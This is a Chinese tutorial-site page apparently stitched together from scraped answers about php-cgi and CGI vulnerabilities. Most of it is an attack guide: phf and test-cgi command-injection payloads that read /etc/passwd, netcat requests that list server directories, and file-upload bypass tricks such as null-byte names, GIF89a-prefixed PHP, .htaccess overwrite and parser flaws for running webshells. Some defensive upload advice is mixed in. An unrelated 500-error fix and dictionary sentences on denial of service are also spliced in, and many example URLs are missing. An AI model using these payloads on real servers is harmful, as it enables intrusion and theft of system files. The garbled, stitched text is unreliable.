好得很程序员自学网
  • 首页
  • 后端语言
    • C#
    • PHP
    • Python
    • java
    • Golang
    • ASP.NET
  • 前端开发
    • Angular
    • react框架
    • LayUi开发
    • javascript
    • HTML与HTML5
    • CSS与CSS3
    • jQuery
    • Bootstrap
    • NodeJS
    • Vue与小程序技术
    • Photoshop
  • 数据库技术
    • MSSQL
    • MYSQL
    • Redis
    • MongoDB
    • Oracle
    • PostgreSQL
    • Sqlite
    • 数据库基础
    • 数据库排错
  • CMS系统
    • HDHCMS
    • WordPress
    • Dedecms
    • PhpCms
    • 帝国CMS
    • ThinkPHP
    • Discuz
    • ZBlog
    • ECSHOP
  • 高手进阶
    • Android技术
    • 正则表达式
    • 数据结构与算法
  • 系统运维
    • Windows
    • apache
    • 服务器排错
    • 网站安全
    • nginx
    • linux系统
    • MacOS
  • 学习教程
    • 前端脚本教程
    • HTML与CSS 教程
    • 脚本语言教程
    • 数据库教程
    • 应用系统教程
  • 新技术
  • 编程导航
    • 区块链
    • IT资讯
    • 设计灵感
    • 建站资源
    • 开发团队
    • 程序社区
    • 图标图库
    • 图形动效
    • IDE环境
    • 在线工具
    • 调试测试
    • Node开发
    • 游戏框架
    • CSS库
    • Jquery插件
    • Js插件
    • Web框架
    • 移动端框架
    • 模块管理
    • 开发社区
    • 在线课堂
    • 框架类库
    • 项目托管
    • 云服务

当前位置:首页>后端语言>PHP
<tfoot draggable='sEl'></tfoot>

php-cgi漏洞 php50漏洞

很多站长朋友们都不太清楚php-cgi漏洞,今天小编就来给大家整理php-cgi漏洞,希望对各位有所帮助,具体内容如下:

本文目录一览: 1、 CGI漏洞向来是容易被人们忽视的问题 2、 500 Internal Server Error错误怎么回事 3、 Apache;PHP;漏洞Slow HTTP Denial of Service Attack怎么处理;下面是 httpd.conf 文件 4、 文件上传漏洞攻击方法有什么? 5、 哪些服务器曾被发现文件解析漏洞? CGI漏洞向来是容易被人们忽视的问题

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali测试数据.cn

一、phf.cgi攻击:

phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。在浏览器中输入:

可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:

;Qalias=Qname=haqrQemail=Qnickna

me=Qoffice_phone=

;Qalias=Qname=

haqrQemail=Qnickname=Qoffice_phone=

%0AQalias=Qname=haqrQemail=Qnickname=Qoffice_phone=

;Qalias=Qname

=haqrQemail=Qnickname=Qoffice_phone=

以上等于执行了命令:

id

ls -la ~someuser

cp /etc/passwd ~someuser/passwd

(用普通的可以进入的目录来看passwd)

rm ~someuser/passwd

二、php.cgi

除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以

HTTP管理员身份读系统文件,在浏览器中输入:

就可以看到想看的文件。

另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。

但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:

如果你看到返回这样的字样就可以运行:

PHP/FI Version 2.0b10

...

三、test-cgi的问题

test-cgi同样是个常常出现的漏洞,在浏览器中输入:

?\whatever

将会返回:

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B

SERVER_NAME = thegnome测试数据

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/1.0

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT = text/plain, application/x-html, application/html,

text/html, text/x-html

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /cgi-bin/test-cgi

QUERY_STRING = whatever

REMOTE_HOST = fifth.column.gov

REMOTE_ADDR = 200.200.200.200

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

再来一次,这样输入:

?\help0a/bin/cat%20/etc/passwd

看到PASSWD了?

用netcat 80 端口 进行攻击:

machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name测试数据 80

返回:

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1

SERVER_NAME = removed.name测试数据

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/0.9

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT =

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /bin/cgi-bin/test-cgi

QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt

/root /sbin /stand /sys /tmp /usr /usr2 /var

REMOTE_HOST = remote.machine测试数据

REMOTE_ADDR = 255.255.255.255

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

显示出了根目录!这样试试:

machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name测试数据 80

返回:

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1

SERVER_NAME = removed.name测试数据

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/0.9

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT =

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /bin/cgi-bin/test-cgi

QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger

cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html

mail-query mail-query-2 majordomo majordomo.cf marker.cgi

menu message.cgi munger.cgi munger.note ncsa-default.tar post-query

query smartlist.cf src subscribe.cf test-cgi uptime

REMOTE_HOST = remote.machine测试数据

REMOTE_ADDR = 255.255.255.255

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

显示了/CGI-BIN/目录下的东西。

CGI漏洞的利用(二)

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali测试数据.cn

四、Count.cgi溢出漏洞

Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。

出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。

有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:

五、用Count.cgi看图片

这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈!

在浏览器中这样输入: 其中/path_to_gif/file.gif是你要看的图片的路径。

注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的文件。

500 Internal Server Error错误怎么回事

500 Internal Server Error错误原因总结:

1、当访问的程序出错时,就会返回500错误。

2、用fiddler检测

解决办法:

1、给“系统盘:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp”目录添加一个“Authenticated Users”的用户,其中AppData目录是隐藏的,在进入的时候可以直接在地址栏输入路径,或者在文件夹选项里显示隐藏文件。?2、设置权限步骤:

右击Temp文件夹,选择“属性”》选择“安全”选项卡》单击“编辑”》出来“Temp 的权限”对话框,单击“添加”,在下面的“输入对象名称来选择”中输入Authenticated Users(也可以点击“高级...”按钮,再点击“查找”按钮,在查找结果中选择Authenticated Users),确定》返回到“Temp 的权限”,将Authenticated Users的权限中的完全控制给勾上,确定》确定。

Apache;PHP;漏洞Slow HTTP Denial of Service Attack怎么处理;下面是 httpd.conf 文件

denial-of-service attack

拒绝服务攻击;阻断服务攻击;停止服务攻击

例句筛选

1.

Denial of service attack against the provider's host.

对供应商主机的拒绝式服务攻击。

2.

Because quotas must be disabled, storage resources are more vulnerable to adenial of service attack.

因为必须禁用配额,所以存储资源更易受到拒绝服务攻击。

文件上传漏洞攻击方法有什么?

文件上传漏洞是什么?怎样防御文件上传漏洞攻击?文件上传漏洞是web安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说,是攻击 数据与代码分离原则 的一种攻击。

一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码

造成文件上传漏洞的原因是

对于上传文件的后缀名(扩展名)没有做较为严格的限制

对于上传文件的MIMETYPE 没有做检查

权限上没有对于上传的文件的文件权限,(尤其是对于shebang类型的文件)

对于web server对于上传文件或者指定目录的行为没有做限制

下面就闲话一些文件上传漏洞的防御方式和攻击者的绕过方式

1.前端限制

function check(){

var filename=document.getElementById("file");

var str=filename.value.split(".");

var ext=str[str.length-1];

if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){

return true;

}else{

alert("这不是图片!")

return false;

}

return false;

}

在表单中使用onsumbit=check()调用js函数来检查上传文件的扩展名。这种限制实际上没有任何用处,任何攻击者都可以轻而易举的破解。只能用于对于用户完全信任的情况下,很难称之为一种安全措施只能称之是一种防止用户误操作上传的措施,

反制:

随便的编辑一下页面/用burpsuite/写个小脚本就可以突破之,无须多言

2.检查扩展名

顾名思义,就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传

在这里,还有一点是值得一提的,在检查扩展名是否合法的时候,有两种策略

黑名单策略,文件扩展名在黑名单中的为不合法,示例代码

$postfix = end(explode('.','$_POST['filename']);

if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){

echo "invalid file type";

return;

}

白名单策略,文件扩展名不在白名单中的均为不合法

$postfix = end(explode('.','$_POST['filename']);

if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){

//save the file and do something next

} else {

echo "invalid file type";

return;

}

白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为黑名单我们可以使用各种方法来进行注入和突破

反制

在一些 webserver 中,存在解析漏洞

1.老版本的IIS中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析

2.老板本的IIS中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg

3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行

4.nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行

5.apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

3.检查HTTP Header中的Content-Type

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的

反制

使用各种各样的工具(如burpsuite)强行篡改Header就可以,太容易将header中的

Content-Type: application/php

或者其他类型

改为

Content-Type: image/jpg

Content-Type: image/png

Content-Type: text/plain

等这些web程序允许的泪洗改附上常用的MIMETYPE表

text/plain(纯文本)

text/html(HTML文档)

text/javascript(js代码)

application/xhtml+xml(XHTML文档)

image/gif(GIF图像)

image/jpeg(JPEG图像)

image/png(PNG图像)

video/mpeg(MPEG动画)

application/octet-stream(二进制数据)

application/pdf(PDF文档)

application/(编程语言) 该种语言的代码

application/msword(Microsoft Word文件)

message/rfc822(RFC 822形式)

multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)

application/x-www-form-urlencoded(POST方法提交的表单)

multipart/form-data(POST提交时伴随文件上传的表单)

4.分析文件头内容来检查文件类型

与方法2不同,还有一种检查类型的方式是使用对于文件内容的验证机制,这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数,一个通过这种方法来过滤的示例代码如下:

if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {

echo "File is not an image";

return;

}

也可以自己编写函数来进行识别,图片文件通常有称作幻数的头字节,我们来看一下几种图片文件的幻数:

(注意!下面是二进制而不是文本格式的数据)

JPG

FF D8 FF E0 00 10 4A 46 49 46

GIF

47 49 46 38 39 61

(相当于文本的GIF89a)

PNG

89 50 4E 47

通过检查头几位字节,可以分辨是否是图片文件

如果是其他类型的二进制文件,也有响应的头字节,如下表

反制

给上传脚本加上相应的幻数头字节就可以,php引擎会将

(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

GIF89a

do_something();

?>

如果是其他类型的二进制文件,也有响应的头字节,如下表

格式

文件头

TIFF (tif)

49492A00

Windows Bitmap (bmp)

424D

CAD (dwg)

41433130

Adobe Photoshop (psd)

38425053

Rich Text Format (rtf)

7B5C727466

MS Word/Excel (xls.or.doc)

D0CF11E0

MS Access (mdb)

5374616E64617264204A

ZIP Archive (zip),

504B0304

RAR Archive (rar),

52617221

Wave (wav),

57415645

AVI (avi),

41564920

Real Media (rm),

2E524D46

MPEG (mpg),

000001BA

MPEG (mpg),

000001B3

Quicktime (mov),

6D6F6F76

Adobe Acrobat (pdf),

255044462D312E

Windows Media (asf),

3026B2758E66CF11

MIDI (mid),

4D546864

5.限制Web Server对于特定类型文件的行为

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般来说,用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

大多数服务端软件都可以支持用户对于特定类型文件的行为的自定义,以Apache为例:

在默认情况下,对与 .php文件Apache会当作代码来执行,对于 html,css,js文件,则会直接由HTTP Response交给客户端程序对于一些资源文件,比如txt,doc,rar等等,则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码

因此可以使用服务器程序的接口来进行限制

以Apache为例,我们可以利用 .htaccess 文件机制来对web server行为进行限制

在这里插一句,如果不是专门的文件下载目录,请务必关掉文件夹浏览的权限,以防止嗅探和可能的越权,也是使用.htaccess文件,在其中加上一句

Options All -Indexes

即可。

禁止脚本执行有多种方式可以实现,而且分别有不同的效果,我们分别来看一下

1.指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上如下几行

AddType text/plain .pl .py .php

这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type

2.如果要完全禁止特定扩展名的文件被访问,用下面的几行

Options -ExecCGI

AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别

在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden的错误

3.也可以强制web服务器对于特定文件类型的处理,与第一条不同的是, 下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器

ForceType text/plain

看代码就可以很明白的知道,符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型。

4.只允许访问特定类型的文件

order deny,allow

deny from all

在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。

这又是一个白名单的处理方案

永远记得,白名单是最有保障的安全措施

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。

哪些服务器曾被发现文件解析漏洞?

服务器解析漏洞总结

1、Apache1.x 2.x解析漏洞

Apache服务器解析文件时,从后向前遍历后缀名,直到遇到第一个可以被识别的后缀名,则按该种后缀方式进行文件解析。

这样造成一个危害是:如果应用限制了php等敏感后缀,我们可以通过上传x.php.jpg这种未被拦截的后缀的木马上传,访问时,Apache会因为无法识别jgp,而向前寻找,找到php,按照php文件进行正常解析。木马被执行。

2、IIS6.0解析漏洞

(1)如果目录名包含.asp .asa .cer这种字样,则该目录下所有文件都被当做asp来进行解析

(2)如果文件名中包含.asp;、.asa;、.cer;这种字样,也会被优先按照asp来进行解析

3、Nginx

(1)0.8.37以下的版本,可以上传一个不被过滤后缀名的木马,如:shell.jpg,可以通过请求shell.jpg.php来进行正常解析

(2)0.8.41 – 1.5.6间的版本,可以上传一个不被过滤后缀名的木马,如:shell.jpg,可以通过请求shell.jpg%20.php来进行解析

4、PHP CGI文件解析漏洞

(1)Nginx小于0.8.3以下的版本,且当默认php配置文件cgi.fix_pathinfo=1时,可以上传一个不被过滤后缀名的木马,如:shell.jpg,通过请求shell.phhp/shell.jpg,可以使得shell.jpg被当做php来解析

(2)IIS7.0/7.5之间的版本,如果存在多个Content-Disposition,则IIS会取第一个作为接受参数,同时,如果waf只取第二个进行检测的话,则有可能被绕过过滤。

关于php-cgi漏洞的介绍到此就结束了,不知道本篇文章是否对您有帮助呢?如果你还想了解更多此类信息,记得收藏关注本站,我们会不定期更新哦。

查看更多关于php-cgi漏洞 php50漏洞的详细内容...

声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did195292
更新时间:2023-04-26   阅读:45次

上一篇: 优化iis打开php速度 php io优化

下一篇:php执行图片木马 php显示图片代码

相关资讯

最新资料更新

  • 1.phpzend加密过期 php加密解密
  • 2.php网站下载图片 网站的php文件下载
  • 3.php数学函数 php中函数的定义
  • 4.php降低curl版本 php怎么升级版本
  • 5.php分页页数太多 在php中如何对多条记录进行分页
  • 6.php使用嵌套for php解析嵌套json
  • 7.php数据库名字大小写 php函数名称区分大小写吗
  • 8.十荟团php开发怎么样 十荟团内部人士真实感受
  • 9.基于PHP日记网站 phpstudy网站日志
  • 10.安卓phpapp 安卓php服务器
  • 11.PHP没有前景吗 php现在怎么样
  • 12.phpfpm出错 php报错信息
  • 13.php提取数组转map php 数组转xml
  • 14.登录htmlphp 登录html
  • 15.kohanaphp版本 koo版
  • 16.韩顺平php视频教程下载 韩顺平oracle视频
  • 17.包含php7.0.10的词条
  • 18.php闭包this php闭包函数使用场景
  • 19.php做vip解析 php解析器是什么
  • 20.qbapi.php的简单介绍

CopyRight:2016-2025好得很程序员自学网 备案ICP:湘ICP备09009000号-16 http://haodehen.cn
本站资讯不构成任何建议,仅限于个人分享,参考须谨慎!
本网站对有关资料所引致的错误、不确或遗漏,概不负任何法律责任。
本网站刊载的所有内容(包括但不仅限文字、图片、LOGO、音频、视频、软件、程序等)版权归原作者所有。任何单位或个人认为本网站中的内容可能涉嫌侵犯其知识产权或存在不实内容时,请及时通知本站,予以删除。

网站内容来源于网络分享,如有侵权发邮箱到:kenbest@126.com,收到邮件我们会即时下线处理。
网站框架支持:HDHCMS   51LA统计 百度统计
Copyright © 2018-2025 「好得很程序员自学网」
[ SiteMap ]